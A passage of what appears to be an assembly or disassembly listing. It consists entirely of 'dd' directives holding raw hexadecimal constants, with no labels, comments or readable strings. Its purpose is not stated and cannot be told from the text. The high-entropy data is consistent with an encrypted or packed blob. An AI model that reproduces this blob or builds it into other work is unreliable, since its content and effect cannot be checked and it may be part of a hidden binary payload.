96640183h, 0FFEC3416h dd 5B850103h, 35F0E94Ah, 73BFF806h, 432CF31Eh, 16C1B0FCh dd 1FE2815Bh, 305356A7h, 1044214Eh, 38F024C4h, 0E95C6CBBh dd 0E401665Eh, 4778F22Dh, 55FF02Ah, 0EAE007A3h, 2E0BE44Bh dd 0E6B85FE9h, 23E0C2Bh, 7747E3Fh, 23610A03h, 2BC9FDE9h dd 3ECA54C1h, 224E4AF8h, 0C57D0103h, 47A1A4F9h, 0D0F62B78h dd 735F2161h, 924050F5h, 5AB0B355h, 3126C2ECh, 0F7908C40h dd 58C59FC0h, 3E44A2BFh, 4FA536FAh, 0B77CE1C2h, 562FF72Dh dd 35F068A6h, 5074E169h, 0E160FD73h, 73F85AC6h, 0E0265DCDh dd 7142EE43h, 2D5C0023h, 4558694Ch, 0ED8F161Bh, 40EA33AFh dd 813F9BF0h, 439DC905h, 0D58210E1h, 85E92101h, 360AAF8Ah dd 293CEF85h, 0AE613075h, 67EE800Ah, 2514CEE6h, 1FB8F652h dd 0C61D5A01h, 515B1E30h, 0E92909B5h, 214815D4h, 222435CDh dd 0EA94B616h, 715B2D08h, 0DD054941h, 0A6F1AA2Ch, 66866D4h dd 0CE92150h, 4265267h, 9C1011A9h, 5E3ABB1Eh, 0CDAEF76h dd 5A37589Dh, 933CAEFAh, 4C6B7C59h, 5A07A8EAh, 0C0423957h dd 8B713EF5h, 5F45102Fh, 3D4FD680h, 70C97C5Ah, 894051D2h dd 0C459457Fh, 0F627B42Eh, 91E970A7h, 0B8EAF69h, 0B0765A8Bh dd 0BBE8408Bh, 7125D407h, 0B6B5533Ah, 5FF6E7ABh, 4FCDF4F1h dd 6F84D96Ch, 0E3AEFDh, 41FA5D27h, 64835997h, 80EA92F9h dd 0C9FEAC40h, 1ED1F624h, 4322AB1Ah, 0B30CDDD3h, 99C381F0h dd 6E98320Dh, 0E5959A50h, 0BA6EB426h, 0B21A4881h, 0AB219607h dd 98CE595Eh, 0F2545F25h, 9B283D70h, 0C044025Fh, 324008EEh dd 8D75E963h, 0CD55C2E1h, 17E9891Ah, 0B868F658h, 0E800A213h dd 0ED815895h, 54891EF2h, 0D2EF939Ah, 6FF41E4Eh, 8C15FD27h dd 0C0ABE909h, 0EE2AB54Dh, 0BBC74B37h, 0A4C30370h, 7C2E2C54h dd 29023F44h, 50E9174Eh, 2C40816Ah, 51124C35h, 0DCC10915h dd 6740DB67h, 9037F760h, 6A79207Dh, 3D4BDAB5h, 0DAAEAF7Ch dd 0AEBD8220h, 32629B2Dh, 9FE6FF60h, 0D0C6FE80h, 6F249D04h dd 5D41188Ah, 4D1D88CEh, 0EE8F1C8Ch, 0A7AFECB5h, 0EA400649h dd 0C2F30110h, 7F5E0881h, 0AC2F7CD9h, 0B92DA19Ch, 0A22CBA04h dd 0ADE5607Eh, 6D705CB6h, 6E0FC4A0h, 4D48B302h, 0A0EFC2E9h dd 15EF0D4h, 4BA0B0D8h, 0B5D7C70Eh, 948083CBh, 20C3C303h dd 0D946F5EEh, 1681F9BEh, 0C280F7B2h, 83867072h, 5A17D0E0h dd 2CAB352Ch, 559850FBh, 20E9413Dh, 5A91769Dh, 0C15EC41Dh dd 521AA66h, 65D76C04h, 748413BCh, 1D31FEABh, 0EF04F38Eh dd 307BD2F2h, 0EBAF5057h, 38301FCDh, 1AE20C43h, 0C223401Eh dd 0E8B8EA16h, 2A12E0ACh, 0DCF5A52Ch, 0EF9D4D59h, 0C4510852h dd 98B75305h, 0F23817EEh, 0B2528248h, 0A58A838Bh, 0FEF09FC0h dd 5BC5E9C2h, 709B458Eh, 0F402C9ABh, 0EFCF2594h, 2CABF3C8h dd 4D9D51CEh, 644AF44h, 8C7CD695h, 0BF1C989Dh, 6749C509h dd 0C51A5F77h, 0E37DABABh, 4513E990h, 0B6B96150h, 56AF2614h dd 3C6101DFh, 71E955D4h, 0FE26ADECh, 0B2A6EF92h, 0EE0497EBh dd 6684477h, 7E6BB880h, 0E97A1348h, 5B684397h, 4E135059h dd 36FFDFB4h, 0B281E260h, 0C6A79D69h, 77AC88CBh, 58F99D93h dd 0D6322BE4h, 7E9B6AA5h, 0E32CABh, 34E6737Bh, 4F026A2Dh dd 0A1E97091h, 64795C3Ah, 82558521h, 58090814h, 74681720h dd 8010F97Ah, 79105C39h dd 1578954Dh, 0E6AB7AB7h, 9C5016ABh, 4949AEA7h, 2DB0F66Ah dd 0C34E9EB2h, 0B436DABFh, 4161CAB3h, 272068h, 0B14B6DE9h dd 41F129Fh, 85890C3Eh, 5A0BA0Fh, 2DC06249h, 9A7AAA4Ah dd 883D2F77h, 110AF7Dh, 478F51B3h, 0BD520C60h, 728071BAh dd 2B6B7566h, 82A95ABFh, 0FFC55708h, 0D695FABFh, 0E6696ED2h dd 0C00220DCh, 4128BC11h, 0F37AD82Bh, 348B9F67h, 15987DBAh dd 8BC9109Dh, 8ED380EEh, 97316803h, 0A5205DECh, 625A48E3h dd 9E8CCBDEh, 0C12D49A0h, 0A7929584h, 0CA01720h, 0F681F280h dd 8941B114h, 69FD1420h, 68FD85BEh, 4A5468D1h, 37BB618h dd 5F325012h, 0DDAF852h, 0C03C4E54h, 79A21632h, 0B9C36450h dd 4362B0BEh, 34B9F5A3h, 3814F1DFh, 91E85ECFh, 0C0415FA8h dd 589F3839h, 6F3516F3h, 1FFA0100h, 17728C05h, 4A209812h dd 7866A2CDh, 68B23B27h, 0B10CEDC3h, 4B5C8BA5h, 2E04DC8Dh dd 800083F6h, 56297632h, 1D09FE68h, 5E2374h, 0A71A6D2Ah dd 1FA9F40h, 31F80883h, 32E5E9FBh, 0C7F502BCh, 42DB1627h dd 0A518D18Bh, 0D7472056h, 404FABA2h, 271657D6h, 9588D95h dd 58EDCB4h, 0A43D1E58h, 8180FFE5h, 0FE6371F3h, 678BF6Ah dd 4C971490h, 0D31120C3h, 0FEC70C0Bh, 0CA10DDC0h, 78B58634h dd 0DA2B4CFBh, 885B0476h, 0FC21E9C3h, 702D00C1h, 533904Bh dd 0A80604F7h, 0AD015A4Dh, 3DFF9620h, 0F37AC2ACh, 79A88527h dd 58540C8Bh, 12133FE6h, 7A1C1A6Fh, 0C9A37796h, 0A6748416h dd 0D55050FEh, 6A746681h, 4FD3F450h, 0D4D2F9EFh, 330B01E5h dd 0D8F777EBh, 16D4C320h, 82F123Bh, 0AD28B70Eh, 48356DF4h dd 42FF3E51h, 0F4FEE98Fh, 69CAB7Eh, 0F8179B6Fh, 9F3E172Eh dd 67DE1130h, 2D006BF6h, 27DD740Eh, 0A105D829h, 0FB715B07h dd 40322460h, 650268EDh, 5A14513Bh, 9E77E09h, 92743012h dd 1EB5074Fh, 7C16D709h, 2E92AFFCh, 60BFBA5Ah, 0A9138F07h dd 435F284Eh, 8B0C4414h, 0D5EE755Ah, 0EDB607D2h, 5ACBE610h dd 96E3F9A0h, 73E60ECh, 214C4004h, 2CEB5A15h, 0C0F3AA8h dd 4958C3B6h, 59B96C6h, 804A922Dh, 4197AC76h, 3B452007h dd 6FE1A270h, 8BDF4BBDh, 83DB1E77h, 5EE73585h, 2CAEA885h dd 64B53C9h, 63E8DB99h, 0BD2EE135h, 83BFD630h, 0F3D6F219h dd 0BE5FFB1Ch, 0C866C401h, 0B26EDE01h, 0FC98D3D9h, 0C8B04A27h dd 94266825h, 0E6C2F71Ah, 0BFD246CDh, 0A4B13623h, 1D40B310h dd 298EBEC1h, 0C8D7DA5Fh, 0F5906F9h, 0E1E9BB65h, 2B92EB32h dd 4B026B31h, 1520A64Eh, 0D6821222h, 2B5376AEh, 0DB40D590h dd 1DD35E31h, 0DF0339C7h, 5F585750h, 3C396899h, 31B24E68h dd 5C4884Eh, 4E459C9Eh, 0B73BEFB1h, 4BF93BBAh, 0A100A4F3h dd 810BFD1Dh, 6517BECBh, 0B7E4596Ch, 334CF4F3h, 4B0C4917h dd 0E929D988h, 31FA6F2Ch, 287C116Bh, 67A07FD6h, 4E23503Ah dd 8490C176h, 0DBEF701h, 68E939A1h, 7F8E8D3Eh, 5C27B2DFh dd 176E1C79h, 0B2BB04C4h, 0F3FAC4ECh, 6641EA16h, 0F4589234h dd 5D10212Ch, 7B902B8h, 5D62BB17h, 0CE6CB400h, 5061E91Fh dd 60F268C9h, 0ABC24438h, 61C1DEF6h, 4152257Eh, 0E9692BDCh dd 74106A25h, 592600EEh, 5B053DDBh, 6D100945h, 0AF48F3E9h dd 575C5AD1h, 0D0C82FF0h, 3A0BD4Ah, 2C985D18h, 8ED0E913h dd 927635CCh, 0F7801E36h, 804C12A5h, 40485D49h, 368A6816h dd 9A1064E3h, 0D0BB2F92h, 0BEE8FF8Dh, 819D9679h, 2517675h dd 66894101h, 13BE00AAh, 1D373040h, 9E4FF4D8h, 0D6313B02h dd 0DDFB88E9h, 5059DCB8h, 20215458h, 62BA03C2h, 312C2F44h dd 403CCBCCh, 0AC14F28Eh, 0BBAA88Eh, 5599181Fh, 868B280h dd 709D329Bh, 4835EF4h, 0FE055C4Fh, 386086DAh, 142B2C09h dd 0FB09C1FEh, 0FDEBD4D3h, 0C5D5FB4Ah, 0BD39A8E4h, 0C14AFE59h dd 61F52F8Dh, 4B1F0330h, 14413086h, 5C5EA53Fh, 2F0D0F00h dd 9E3811Ah, 1630E6Eh, 0C278F2C0h, 64E91308h, 99D83A3Ch dd 0BD80CE69h, 4F6E0398h, 6E6C100h, 4D3CF681h, 11A680D2h dd 73F76680h, 0A9767D0h, 691CD7D7h, 0FB354A24h, 0B32ED0A1h dd 30A1C0D4h, 0EC586AE4h, 85466259h, 0E099FCDCh, 4CC9785Dh dd 562278Ch, 0DFBC5432h, 27687904h, 40DB806Dh, 5B607F61h dd 580935BAh, 22709F36h, 6D38609Fh, 341695D8h, 1CC2689Dh dd 0CDC937Ah, 0BF84B1D4h, 7EE218EAh, 90110A9Dh, 0F7B92F12h dd 63A2E9A3h, 0A5A3BBCEh, 7ECEACE1h, 277814A2h, 0D39847E8h dd 36949405h, 52655F69h, 3797402Dh, 14C9254Bh, 0A46242D9h dd 435B027Dh, 1AB08660h, 68330509h, 91987855h, 8147802Ch dd 0D24B45C7h, 27A30D50h, 0A0978000h, 55FF889h, 963766Bh dd 3D6A2D64h, 3B3321D0h, 0B2E5E1ADh, 5F89FDA5h, 29698D1Eh dd 17A088A3h, 2FF25614h, 885265h, 3644DA4h, 4A67ED81h dd 13C15F5Ch, 0FF601DC9h, 0FC3538CFh, 5BD92731h, 29742255h dd 930D03B8h, 55080F80h, 60162C4h, 0FF166804h, 0ED4077CDh dd 942825h, 27442D77h, 0D8F7599Eh, 0A8354000h, 54B0B1Ch dd 0B5651288h, 1966B8CFh, 5566CB4Ah, 0ADAA920h, 0BD42FD70h dd 0DD310905h, 0B514E655h, 17276E6Ch, 841B6709h, 0AA22EAE9h dd 892FCBCBh, 0A3C1D29Bh, 83BB2454h, 5001C727h, 0BC942004h dd 0DE9FF6C6h, 0CEF6A032h, 75892014h, 0EA95490Fh, 5BDE05A7h dd 0A1D70EEFh, 0AE02D5Ah, 0E8732679h, 204C2923h, 0A6594C0Ch dd 0E9F2B096h, 2501E75Bh, 16013EBDh, 0CD09F12Eh, 2BC6F94Dh dd 8FBEC316h, 0A28D1072h, 4900F669h, 71F8A6EAh, 0E39B3EC4h dd 4A792CA4h, 0A971EAA2h, 0CD3F7E10h, 0F01325A2h, 0C5BDBA57h dd 0F43D34A6h, 4C6BD445h, 68DC0193h, 313B0D2Ch, 2B02692Dh dd 757349CEh, 3A9FB0DAh, 0A56B8FE9h, 3A5C6D7h, 2B5FA3EBh dd 84B52922h, 5D080162h, 2F7EBB68h, 0B6C03731h, 2C423D3Ah dd 5C4689D7h, 52C398D5h, 903E49C2h, 0EB97A412h, 0CD014D9Fh dd 4AA54079h, 0BB38F30h, 3153E033h, 0AEE560C0h, 50394525h dd 968026Dh, 0EB01750Bh, 0E1FAD1FDh, 2FCFE2E9h, 0EE04EBF9h dd 0C0472D42h, 9889C62Eh, 14AA412h, 0E92000EBh, 7F95635h dd 808CEF3h, 4ACD1C30h, 5F320B52h, 0E5750C87h, 0F31E0B7Ah dd 0AEA245D7h, 58549CC1h, 21BCDEE4h, 314EB402h, 7AAFE9EFh dd 8BCB265Bh, 0F86F16AEh, 9677C531h, 0B7780821h, 42BA6A81h dd 3B098564h, 0EE77EBF0h, 0C386050h, 0FD458EDAh, 6F20DF9Ah dd 0A2F080DDh, 50E32767h, 0F9925654h, 0C10C61AEh, 0EBE7002h dd 10245E4Ah, 0C8924F9h, 45C3D510h, 60BA5F48h, 0A071295Ch dd 0B20CC05Ah, 0E9405546h, 0BAF2262Fh, 5E7DC8B4h, 3227C7Eh dd 3A1356E2h, 0CAB84278h, 1924558Dh, 0D3188926h, 0A0F5896Ah dd 0E201C5D3h, 0D720FFE7h, 0FEE92506h, 68438460h, 6666E225h dd 12B91763h, 5D130577h, 93CA676Ah, 8B6083A7h, 5E1770DCh dd 5B4DF87Bh, 0D175AFFBh, 7823A3BEh, 0D592C230h, 4F05BAF5h dd 85C0C59Ch, 0FF9AC5E1h, 0F06EC9A3h, 11FB0D00h, 3F09F281h dd 34D9010h, 7B4AFFEBh, 1D3A09F8h, 0AFFD5C6Bh, 0B0274B3Eh dd 4F0DE9C4h, 0C54FEC57h, 0E0B94C53h, 0B5700380h, 0E768D11Fh dd 6A048176h, 0FFC34A5Fh, 683881F0h, 668B816Bh, 0D075642Dh dd 5140719Dh, 0CC1B715Ch, 95E145Bh, 76074CE8h, 704605B0h dd 0B16DCFE6h, 884E0F30h, 17A0179Dh, 4068E966h, 2908BB2Ah dd 81002BB3h, 5B506FCBh dd 12E3D15Ah, 8C70FA68h, 79B7DFADh, 0CAB83EB6h, 734BB4Bh dd 816494h, 97416E9h, 0A2506058h, 492635FCh, 7B3D99Fh dd 82E1C580h, 0BA75E5F7h, 0F5FEC3FDh, 507F9ABFh, 8383CF09h dd 0F01DBAC3h, 5314929h, 2B1A8619h, 0B6B7FCDEh, 46682CC2h dd 0ECB8750Fh, 81829F72h, 0A00AAAD1h, 13B27ECBh, 0EC5DB314h dd 514EC09Dh, 5B1A62B9h, 50CEE03Ah, 5CAF183Ch, 64125AB7h dd 15144AFCh, 28278488h, 517D6FC2h, 2A49EB50h, 4F6C2CB6h dd 473CB1ECh, 2E8949A5h, 7EE282FCh, 494AD9BEh, 4E24E1DDh dd 5DC28042h, 580BF1D9h, 506E276Dh, 8BC2D6FEh, 0C5D9C104h dd 0EA1F0E69h, 9CDE429h, 0C2669624h, 4EEF1138h, 59E562FBh dd 0C7751E5Ah, 5DEEC9Dh, 6CF84FD5h, 99898431h, 4EB17A67h dd 0B5D3F97Fh, 407F2CAAh, 88F7C4A9h, 137CBBD5h, 0F8ABB029h dd 0B041E840h, 14B10F0Eh, 16F7646Dh, 462E0512h, 1825ED9h dd 285BFD88h, 0AC8270F5h, 0C29ED6B5h, 6118746Eh, 1F53B79Eh dd 0E2EBD949h, 3275E921h, 7FCC099h, 5CCE4D68h, 9B6F4CC6h dd 432FA4B2h, 3DA9F3C1h, 0C7FC9325h, 0C24A5C25h, 0CF8CC231h dd 0F60481A1h, 214610BDh, 0A9C0FE83h, 1F201F49h, 0DB3B16AEh dd 17AD53FAh, 0AC621A00h, 66BA651h, 2878204h, 18D205C8h dd 7C530Ah, 0BF8731C4h, 38EFA244h, 681C5CADh, 552525AAh dd 46A14A96h, 0D31A68D6h, 0E99A6CBEh, 0A54E324h, 7D7F5AC2h dd 1901DBE4h, 680AD23Bh, 0CC6A625Ch, 796276E0h, 5B13143h dd 343286ADh, 21FEDB5Ah, 0EC306A78h, 0A09FCDB2h, 313765F0h dd 40159817h, 4F0BBEE2h, 295A9E53h, 0F1625D81h, 0D49E6870h dd 96E95684h, 0A84ED8ECh, 60E4A744h, 55A9A90h, 0C96E0B76h dd 0BD582906h, 63E80883h, 4A7D1269h, 72DE828h, 685B5D05h dd 8C220380h, 0E359FFE5h, 0A5B03697h, 28BD965Bh, 3DA904B2h dd 80506367h, 8C64B7D1h, 40B8341Dh, 29740186h, 4376972Ah dd 77AFB409h, 0C5A47BEFh, 7D4CC610h, 0D22A1210h, 0C8673C09h dd 0B5565E67h, 0CE62D1DEh, 70A5E159h, 0D77E9215h, 6A0C20E1h dd 3BF4B82Dh, 0D94581EEh, 257D2853h, 1205735Dh, 512A703Eh dd 48708968h, 51927EBDh, 2133E67h, 39C0CBBEh, 257C063h dd 0EE06853h, 86727A75h, 0BF4BC93Ch, 0D0E90B44h, 0EEEC7FDDh dd 79D8DA2Dh, 66A58B16h, 6507676h, 285A81B4h, 30FFB599h dd 54F0E90Fh, 0CB8228B4h, 772CEF5Dh, 68386BD0h, 7230CE61h dd 144BFD3Ah, 0AED831DEh, 0E87B5151h, 5F0E1E8Fh, 0E8E80D92h dd 2B724B05h, 0C97D8068h, 5440BC51h, 2D340C5Dh, 8D0E4E4Dh dd 65400B7Bh, 139904C6h, 0A4216DDCh, 3C38A204h, 0EF2993D4h dd 318BC3A2h, 0F3AF7D70h, 0B5E3CCAFh, 44BDF5Ch, 52D84E91h dd 5B0F4020h, 39003B2h, 6D3A0A16h, 87C380BEh, 523F56F1h dd 2C12DE5Eh, 0C7FAB104h, 0D241EC1Eh, 47A6D1F5h, 0BD5954E9h dd 0E63A161Ah, 3094DDFEh, 8295FCFAh, 0D1C42CABh, 0BB5365DDh dd 442EDBF1h, 0DA25BA1h, 0E829B455h, 8B57E31Fh, 0C6319EAFh dd 54F624AEh, 1F025F4Ah, 48562B18h, 1D6C02EAh, 84C7810Fh dd 0EB7FBE68h, 739961C0h, 0C1D94A01h, 3FA112h, 4B6F685Eh dd 4097CD6Ch, 9E40152Dh, 0AAE9751Ch, 4951FE6Dh, 0E7A055D9h dd 6DA4479Bh, 562A9742h, 0A1F863A2h, 0BEE26328h, 9060A941h dd 67D374F6h, 0F25B49DDh, 0A277DCA6h, 0E8F9568Bh, 5F4CB3A9h dd 0DC330588h, 2358D1D5h, 79D5C250h, 0A25569A7h, 568BE968h dd 9B83FE1h, 42CC81Dh, 0A34EB168h, 2D981C6Eh, 9D20FF2Dh dd 0A91072C5h, 760740h, 2D219BD1h, 5C9A7B26h, 5E80114h dd 49B54F07h, 814557F2h, 3AF100BBh, 0E926F025h, 81069EC9h dd 3D01C4C7h, 5EC82033h, 65873224h, 81C683Bh, 14161C34h dd 0C2F40507h, 0E998550Bh, 0F213DF2Dh, 961F1A4Bh, 305F4703h dd 8884B429h, 0EECA0813h, 0F65728h, 11C82BC7h, 13980548h dd 8712593Ah, 18F94DCBh, 0CC6636A1h, 2DA8F03Ah, 0E0E8AA1Eh dd 0E9DF036Fh, 8AEBD428h, 202C203Fh, 915811B4h, 13A82085h dd 30F2B6h, 0F08850FDh, 0B8B0D0F6h, 0BF3D2ABCh, 35CA4C01h dd 0E6BE11A6h, 0BB22C5C3h, 59A83CAEh, 8C0ACD90h, 0E31C3B77h dd 0E90D8819h, 0CF7B91C5h, 6B3C102Ah, 0EEB1510Bh, 81E3518Ch dd 3B69F21Ch, 0BCC9635Eh, 8B3579D2h, 94D5DC61h, 0E75B300Ah dd 5859EA17h, 0DA49A524h, 0A9470B3Ch, 3622000Ch, 48606211h dd 0EA5F7021h, 0E9050541h, 4E7FA9E8h, 81676419h, 0E274B21Eh dd 0F480DD0Bh, 28EC0644h, 0BA525F03h, 1E3C1DBDh, 49B6F25Ah dd 7C857647h, 385BFE42h, 84B0F08Ch, 0A6C29585h, 0D45A7174h dd 8E6861CAh, 73EC630Ah, 45ECE57Ah, 0BB08C69Bh, 94853E16h dd 0C34CE133h, 4B76FE26h, 50CA7697h, 7FE1493Ah, 88D6F7F9h dd 8F5A1359h, 61B3DC46h, 75D14825h, 657B955Fh, 98B3AF10h dd 0EEE9059Fh, 0C443BDB5h, 0EB12AB8Ah, 0E5C05703h, 0ACC5B103h dd 59CE2BF9h, 0A883256Bh, 56A32779h, 605EC7B4h, 0E95114FAh dd 0EB742E24h, 8B6CE840h, 20B5B150h, 4B1CC008h, 5B3DD471h dd 0A14467B5h, 98260BA8h, 43C64857h, 9CCEB7CCh, 269A4FF6h dd 56705C97h, 0AE9A8071h, 506CB213h, 0C840AC0Dh, 12B5C3F4h dd 0E391A3E9h, 17DC05EBh, 80033A4h, 2CA70103h, 32680250h dd 5855445Ch, 80FECD8h, 0E3572F37h, 765DCFE9h, 0B43BFE99h dd 0D168E135h, 0C4822C62h, 0ED27BD2Bh, 4CA83C36h, 65441881h dd 2ACCB43h, 68020C2Dh, 0E9026334h, 86095DA2h, 253FC545h dd 59B68027h, 2F682C2Dh, 54787BAAh, 41416631h, 97890C3Dh dd 60461807h, 558715B6h, 46AB8B54h, 6E74091Dh, 0A8007EB4h dd 313F2F53h, 0E203B092h, 724D76DFh, 0D3A6C787h, 1C28C708h dd 0FACD84BFh, 680A73B6h, 0C288262Ch, 72F1D370h, 5FB08F46h dd 5ACDAC19h, 0D1B613D3h, 0D92EC01Bh, 306E205Bh, 12A12316h dd 8AF50EBh, 0F94A6642h, 1D378471h, 0F1BB900h, 0CF9885BCh dd 4C0B852h, 7B184835h, 3094D7FAh, 0AF4BD2DAh, 0F48DE913h dd 67C399EAh, 0E9EF058Fh, 39EAE55Dh, 0FF93B01h, 9856FB5Ah dd 768FBAh, 0FC90B5Ch, 9D8C2F84h, 274E5E6h, 76E289C0h dd 98573345h, 0FA8E1F3Ch, 0D4006DFDh, 0CF9EE950h, 5258A59Fh dd 5DC62090h, 0F648C48Ch, 4BDEF71Ch, 0E9C22FADh, 0FB7E3B41h dd 0F9BE8FCBh, 783C0927h, 51DFE29Ah, 0F659E9BAh, 3FABEB43h dd 0F680B477h, 0F1F480DCh, 278E4C0h, 0A8E9D413h, 5DCC7AE1h dd 2BF7264Ch, 0B3A7028Eh, 78FFD408h, 82E05A6Dh, 19415840h dd 109C689Eh, 29094C7Bh, 91FF05F8h, 172BB6B8h, 6EC1A5DBh dd 55127DA2h, 572CEAA8h, 5A9578D1h, 0E902C891h, 85A1EA5Bh dd 54812A7Ah, 0C34A9AB7h, 2F6858CCh, 0A359367Dh, 0C152D89Dh dd 7CE91A60h, 7064BF03h, 6E7E4412h, 1E6A4C05h, 4C96E87h dd 28090E3Ah, 0D9C86EC0h, 0EEEB489Fh, 663B123Dh, 5F3E80Fh dd 31CD71BBh, 9E288C0h, 0A0384AE5h, 2D0940F3h, 740E30DDh dd 10FF0899h, 3500C42Eh, 0C1160D32h, 5ADEB0E3h, 88FD0745h dd 5AD121FAh, 2378EC5Bh, 5326EC91h, 9C4B4301h, 0E02B593Ah dd 32028B89h, 0DEE909DCh, 12715FCCh, 0FDF15569h, 0B2F6841h dd 4C60CC3Bh, 4C46D5F5h, 8FF266A0h, 6EE95D0Bh, 602E2BD8h dd 91B0C090h, 0BD5A92CAh, 0ECFA10EAh, 4F36BB00h, 2A684698h dd 0C8E4335Ah, 8B08BCB3h, 0D75962F1h, 0A717C6CFh, 0A7769828h dd 0ACE90D7Dh, 11472A91h dd 564E606Ch, 680922A9h, 5FDC2623h, 1146F7CAh, 0CDB9025Fh dd 9373E03h, 7DD9A62h, 7A155D99h, 2A15B1AAh, 0BF59A98h dd 739364CBh, 6CACAEF7h, 773166DEh, 0CF1D30C1h, 4BCCBA0Eh dd 860EB324h, 0BE6C9D03h, 16E47A31h, 0AE05F775h, 7F290E88h dd 0E9DA13D3h, 5DA2A00Ah, 0C89D7AAEh, 95D7CB2Ah, 0A25F872Bh dd 7DCAD284h, 13BEFFDBh, 5AFC1D46h, 0D1050B9Eh, 1CD95C22h dd 0AD42E577h, 0FD2FEB5Ch, 0E924E594h, 0D18945F0h, 649203E7h dd 5B743CEEh, 0C70E8A4h, 87C161C5h, 0A6CCE0FDh, 0DA3EDEBFh dd 53013977h, 0B3432C2Bh, 19200206h, 0B60BB7BBh, 0BA92013h dd 64871547h, 11D696DAh, 94FCAEAh, 762BF368h, 796E6284h dd 0C1DB9A57h, 8C586223h, 43A12CFh, 0CBFB0D35h, 6D03310Dh dd 44C325D2h, 9A6F2291h, 42C0C202h, 0F7591E7Ah, 5C65C673h dd 882ED589h, 184050E6h, 0BD942DE9h, 37A29CE6h, 4F11F977h dd 0BA2352BEh, 0CAEF4161h, 51D0207Ah, 7A00B2B9h, 0F1811EB5h dd 17AA3048h, 0EBD9F764h, 0F6BB2C18h, 31351E5Ch, 265BC92Dh dd 58B29C7Dh, 631011C8h, 13EE586Dh, 67FF3EBBh, 0E9FC21D3h dd 80B15003h, 284A2BF6h, 63FF44BAh, 27BB10B9h, 73B84255h dd 8F0649EBh, 0C3174B0Ch, 8AEC2817h, 92A1FA75h, 2EBB05BBh dd 145D71Bh, 4E4BC48Eh, 4EC2B72h, 0D97E0841h, 6540FA17h dd 49E31EFh, 4238AB82h, 0EF6455D4h, 0DA53F604h, 10BB2916h dd 0C610849h, 0C67B2487h, 20D26C55h, 0EF83D3DCh, 8AEDBDE5h dd 0CAC1A551h, 9A2E0C8Bh, 0AAE90B22h, 3B971FAh, 0F366FDBBh dd 3DD0BE95h, 64FC0BF5h, 93DC66Eh, 0E4894049h, 227582A6h dd 0F7E2CA8Eh, 0B7F068C4h, 25F1DB49h, 953A08DDh, 13FBF500h dd 0E6E93FFDh, 5122D845h, 4595DA32h, 4AF50950h, 0D7C2675Eh dd 0C2D35697h, 0C55EA0FFh, 97C2CFE7h, 0F108CA93h, 13C76A05h dd 9128259Fh, 7FDD9B70h, 6E83543Dh, 5D0E5B67h, 19785C37h dd 62438660h, 11899704h, 5F9A465Eh, 0E2658286h, 215A020Fh dd 49CB44FFh, 0E95AE85Eh, 6B18926Fh, 17EE805Bh, 0E9A9682Ch dd 0F7B68BD8h, 369C75E6h, 0B5055858h, 6810CA16h, 0E9097B91h dd 0E47794C3h, 850B4E3Bh, 4C5FE68h, 70EA8E17h, 66A76867h dd 542A46A4h, 0D3F062DBh, 0CEBDCD6Fh, 90CB0BBFh, 0B5963BBEh dd 0AF05C5E8h, 6D1A6403h, 0B532685Dh, 525233AAh, 1B2D2ED0h dd 815A4501h, 357147E2h, 6107DDF6h, 8080AE42h, 898DDD93h dd 728665B8h, 9C82601Fh, 0E900E1A6h, 3F0E2075h, 23F95801h dd 316F8C10h, 26E43068h, 0FE1A330h, 3890331Dh, 0A37E5D84h dd 6B25127Bh, 6D9061D0h, 25327B3Fh, 0C37A0D51h, 5904580Ch dd 247F4857h, 15FCCB0Ah, 0AD04B1C2h, 0A851D831h, 0CAAFA46Bh dd 74DD4CF5h, 34402905h, 39B08BE9h, 4BE3DE5Ch, 3144C13Eh dd 8B5ED9F0h, 0EE61E129h, 51451564h, 0A46EAD17h, 0A0BD61D2h dd 2C1EC61Dh, 5A3D7BA7h, 580C0EF9h, 0B9E142C4h, 4A2F02A5h dd 0F5096F90h, 474D457Ah, 0EF831D19h, 5F382D3Ch, 45F60192h dd 0AD54551Bh, 9D0540C9h, 89EC45EEh, 409F8BDAh, 37B403EEh dd 2296805h, 0FC041CF3h, 0EE6AA574h, 16854CA0h, 0B102124Dh dd 44A16EF5h, 74CEA96Fh, 594D7EAh, 0CA98418Bh, 6D1D8119h dd 0D720375Eh, 0E9B80150h, 539592Ah, 67BEEC1Ah, 3D7FFEAh dd 841004B8h, 544C6381h, 0C10D0A67h, 10A802E3h, 79AC2DD1h dd 0DD8AFF4h, 2AF91490h, 0F8315B04h, 68C820BEh, 7B930E02h dd 0D66B901h, 7FE60F71h, 0B2013CF8h, 0E965A647h, 0EE14D20Ch dd 1C50DD31h, 0FEB22250h, 53F23980h, 6802CA82h, 9BCC52F7h dd 6CB8D35Fh, 0B6DA7D16h, 99D740D9h, 309A719Fh, 0DC6C9F90h dd 7AAC3A4Ah, 7020E983h, 7C0CCCBFh, 0CE0AFC12h, 0BF7612BFh dd 97F94538h, 0F91CDC0Bh, 0D1862295h, 0D016F569h, 761B520h dd 0B779A9B9h, 0AEDEA423h, 29BABE12h, 0CA633E5Dh, 0C599FD5Fh dd 5642C741h, 5A028E6Eh, 0A2FB0087h, 57D5F796h, 1C5AFE66h dd 0E2AF5B84h, 0F88AC956h, 2571996Dh, 0FD7D1FD0h, 4E26D859h dd 0E4D7D6EDh, 5E01AB1Eh, 62BB4DC2h, 31F85B6Bh, 0FF119FEBh dd 0DFFC3EC1h, 0FE0B62C5h, 78E9FD61h, 7548BD3Ch, 37F2EF02h dd 2DE26D7Ah, 0F5658BFDh, 0E751B839h, 2FA268FBh, 746C5DD6h dd 213F1361h, 2805CB0Bh, 593A0FF7h, 0B5205F5Dh, 97AB4BE9h dd 0E0F64EC4h, 6A04E897h, 40ECBC58h, 784A62D5h, 7E0C100h dd 38660325h, 72E92560h, 923D4BC5h, 0CBFE8DEEh, 0B2F47EA5h dd 597048BFh, 6517C93Bh, 40BDAA58h, 9008EDBFh, 7045BC3h dd 9FEBC027h, 0FC21F384h, 0E5DD60CEh, 0B1C567Ah, 447E6836h dd 0BE25C3E6h, 822324FEh, 592658FCh, 2E484385h, 6BBB1200h dd 0BE361E51h, 0D60BDF6Fh, 0BF1B4056h, 0B4C7D522h, 76CF312Dh dd 0A717C265h, 0F56253FCh, 0EA80013Fh, 0A1CEE06Ah, 875F389Ah dd 245E0DA7h, 88A4FB45h, 0CF5C12C0h, 7198BD7Eh, 0EB0111C2h dd 2525565Dh, 99620859h, 57CA937h, 0F5E025DFh, 0C1F75201h dd 1CA409D3h, 0ED044A7Ah, 638B4A5Dh, 0A2C587A0h, 52C2B108h dd 5857A283h, 26062CF7h, 0D308A7ABh, 92EB5FC0h, 95773DDh dd 7F0512C8h, 535034B0h, 0E5E4C09Fh, 38B8FC4Ch, 1EAFCEBFh dd 0FE89ACDEh, 0FD03AB05h, 